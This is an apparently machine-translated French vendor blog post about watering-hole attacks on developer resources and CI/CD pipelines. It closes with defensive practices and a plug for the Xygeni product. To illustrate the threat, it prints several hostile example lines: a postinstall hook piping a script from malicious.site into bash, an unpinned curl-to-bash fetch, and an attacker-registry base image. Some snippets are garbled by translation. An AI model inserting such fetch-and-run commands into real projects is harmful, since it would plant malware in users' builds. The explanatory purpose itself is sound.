La construction qui a construit la porte dérobée
Une build est réussie. Un service est déployé. Tout semble propre. Mais à l'intérieur se cache une dépendance empoisonnée provenant d'une source compromise. C'est une attaque classique par point d'eau.
Dans ce scénario, l'attaquant n'a pas pénétré votre infrastructure. Il a attendu qu'un développeur consulte une ressource fiable, un site de documentation, un dépôt de paquets ou une page de téléchargement de SDK, qu'il avait déjà compromis. Le code malveillant a alors pénétré votre infrastructure. pipeline avec une simple commande pull ou install.
Une fois le produit expédié, l'attaquant a un accès discret à la production. Et votre CI/CD pipeline je les ai juste aidés à y arriver.
Qu'est-ce qu'une attaque par point d'eau (et pourquoi les développeurs devraient s'en soucier)
Alors, qu'est-ce qu'une attaque par point d'eau ? C'est lorsqu'un attaquant compromet une ressource à laquelle les développeurs ou les équipes font déjà confiance. Au lieu de vous cibler directement, il corrompt un site ou un dépôt courant que vous êtes susceptible d'utiliser, et attend que quelqu'un morde à l'hameçon.
Les attaques par points d'eau diffèrent du phishing, qui cible généralement les identifiants, et des attaques de la chaîne d'approvisionnement en amont, qui injectent du code malveillant dans le dépôt principal d'un package. Dans ce cas, la menace provient de l'écosystème environnant : documentations qui ajoutent des portes dérobées, binaires du SDK échangés avec des chevaux de Troie, ou registres de packages diffusant des versions modifiées.
Les ressources de développement sont des cibles de choix : les gestionnaires de paquets (npm, pip, Maven), les dépôts GitHub publics, les images Docker d'apparence officielle et les pages de téléchargement. Si l'un de ces éléments est compromis, l'attaquant est déjà dans votre flux de développement.
Où le piège est posé : exemples réels axés sur le développement Attaques de point d'eau
Les attaques par points d'eau prennent de nombreuses formes. Voici quelques façons dont elles échappent aux développeurs :
- Site de documentation compromis:
importer { init } depuis 'malicious-lib';
init({ télémétrie : 'https://attacker.com' });
Un exemple légitime, subtilement modifié dans la documentation. Les développeurs copient, collent et passent à autre chose.
- Script de post-installation malveillant dans une PR publique:
{
"scripts": {
"postinstall": "curl -s https://malicious.site/agent.sh | bash"
}
}
Cela ressemble à un PR utile, mais il installe des logiciels malveillants en silence.
- Binaire SDK trojanisé:
./sdk-install.sh # Contient un chargeur de deuxième étage caché
Le binaire est téléchargé à partir d'une URL apparemment fiable mais est modifié. - Image de base Docker manipulée:
DE nœud : slim-malicious - COURIR bash /tmp/hidden-installer.sh
Le nom de l'image semble correct, mais il est hébergé sur un registre piraté ou falsifié.
Toutes ces attaques de type « point d’eau » s’appuient sur la confiance des développeurs et sur des flux de travail rapides pour éviter d’être détectées.
De l'ordinateur portable à Pipeline:Comment l'infection se propage
Une attaque de type point d’eau ne s’arrête pas au navigateur. Une fois qu'un code malveillant pénètre dans un environnement local, il peut voyager silencieusement à travers toute votre chaîne de livraison :
- Le développeur visite une ressource compromise (documentation, référentiel, site SDK).
- Du code malveillant atterrit dans l’environnement de développement local.
- Des fichiers infectés ou des dépendances sont ajoutés à un commit et poussé.
- CI/CD les tâches exécutent les étapes de construction et d'installation à l'aide de ces composants compromis.
- L'artefact est expédié et déployé, intégrant le code de l'attaquant en production.
Cette chaîne peut se dérouler en quelques heures, surtout dans les équipes à grande vitesse.
Pour visualiser cela, imaginez un pipeline diagramme qui suit le chemin de l'infection à partir de :
- Poste de travail de développement: Éditeurs, terminaux, scripts d'installation.
- Contrôle de source: Commits, PR, fusions.
- CI Pipeline: Installations de dépendances, exécution de scripts, créations d'images.
- Production:Libération d'artefacts, déploiements et accès utilisateur.
À chaque étape, une attaque de type « point d’eau » peut passer inaperçue sans les mesures de protection adéquates.
Scénarios de risques réels dans CI/CD
Les attaques par points d'eau ne s'arrêtent pas aux machines de développement. Elles exploitent vos pipeline contre vous. Les risques réels incluent :
- Images de base compromises:
De attacker-registry.io/python:3.10-slim
Des logiciels malveillants cachés ont été ajoutés lors de la construction. - Récupération de scripts ou d'outils non épinglés:
curl -s https://pkg.example.com/latest.sh | bash
« Dernier » peut changer à tout moment, surtout si le DNS est piraté. - Journaux CI infectés (exemple):
[+] Installation des outils…
[+] Récupération depuis https://tools.fakecdn.net/bootstrap.sh
[+] Construction terminée.
En apparence, tout semble correct. Mais la charge utile est déjà dans l'artefact.
Les attaques de points d'eau abusent de la confiance CI/CD environnements placés dans des sources et des scripts externes.
Briser le Attaque du point d'eau Chaîne : défenses côté développeur
Pour stopper rapidement les attaques par points d'eau, vous devez renforcer vos pratiques de développement. La prévention des attaques doit commencer avant même que le code n'entre dans votre système. CI/CD pipeline:
- Dépendances des broches: Évitez les balises flottantes comme derniersUtilisez des fichiers de verrouillage pour garantir des builds déterministes.
- Vérifier les sommes de contrôle: Validez tous les scripts, binaires et packages distants.
- Utiliser des miroirs privés:Mettez en miroir les registres de paquets critiques pour éviter l'exposition à des sources en amont compromises.
- Vérifier les images de base: Utiliser des résumés d'images (@sha256) au lieu de balises. Numérisez toutes les images avant utilisation.
- Courir SCA/SAST pré-fusion: Automatisez les analyses dans votre flux de travail RP pour détecter les menaces à un stade précoce.
- Utiliser Git hooks:Détectez et bloquez les modifications à haut risque avant qu'elles n'atteignent le contrôle de version.
- Traiter code tiers comme une entrée non fiable:Même les bibliothèques largement utilisées peuvent comporter des risques cachés.
La sécurité doit être intégrée aux workflows des développeurs. Ces habitudes et contrôles permettent de bloquer les attaques de type « watering hole » avant qu'elles ne s'aggravent.
Les leçons du terrain
Cas 1 : Flux d'événements (npm)
Un mainteneur de confiance a transféré le contrôle d'un package populaire. Le nouveau mainteneur a ajouté une dépendance qui a discrètement volé les données d'un portefeuille de cryptomonnaies.
- Là où ça a échoué:Aucune révision des dépendances transitives.
- Leçon:Utiliser automatisé SCA pour suivre et signaler les changements dans les dépendances indirectes.
Cas 2 : Téléchargeur Codecov Bash
Un attaquant a modifié un script bash utilisé dans de nombreux CI pipelines. Il a exfiltré des secrets des environnements CI.
- Là où ça a échoué: Aucune validation de somme de contrôle.
- Leçon: Vérifiez toujours les outils téléchargés avant de les exécuter CI/CD.
Ces deux attaques visaient des points d'eau. Elles auraient pu être stoppées plus tôt.
Prévention en pratique : état d'esprit et outils DevSecOps
Prévenir les attaques de type « point d’eau » signifie créer une culture de développement soucieuse de la sécurité :
- Décaler la sécurité vers la gauche: Formez les développeurs à remettre en question les scripts inattendus, les changements de dépendances ou les étapes d'installation.
- Automatisez SCA/SAST: Utilisation les outils qui s'intègrent aux flux de travail des relations publiques pour prévenir les vulnérabilités connues et les modèles risqués.
- Utilisez la validation de hachage partout:Toute ressource externe doit être vérifiée avant exécution.
- Surveiller en temps réel:La prévention seule ne suffit pas.
Des outils comme Xygéni Offrez une visibilité en temps réel sur l'ensemble de votre chaîne d'approvisionnement logicielle. Xygeni surveille en permanence les environnements de développement, l'activité Git et l'intégration continue. pipelines, et registres d'artefacts pour détecter :
- Changements de dépendance anormaux.
- Modifications suspectes dans les scripts de construction.
- Modèles d’accès inhabituels à des sources tierces.
Avec Xygeni, les équipes peuvent bloquer les menaces introduites par les attaques de type « watering hole » avant qu'elles ne se propagent et remonter à la source de la compromission si elle passe inaperçue. La solution est spécialement conçue pour les environnements modernes. CI/CD environnements, en mettant l'accent sur les alertes exploitables et la convivialité axée sur les développeurs.
Note finale : Rapide Pipelines, risques plus rapides
Maintenant que vous connaissez qu'est-ce qu'une attaque par point d'eau Vous savez qu'ils n'ont pas besoin de pénétrer directement votre infrastructure. Ils y parviennent en empoisonnant les outils et les sites auxquels les développeurs font déjà confiance. À partir de là, votre CI/CD pipeline peut devenir le système de distribution de l'attaquant.
Le véritable risque n’est pas seulement la compromission, mais aussi la rapidité avec laquelle le code malveillant se propage dans votre pipeline.
Intégrez les contrôles de sécurité à votre flux de développement, et non pas comme une simple réflexion. Car une fois déployés, il est déjà trop tard.
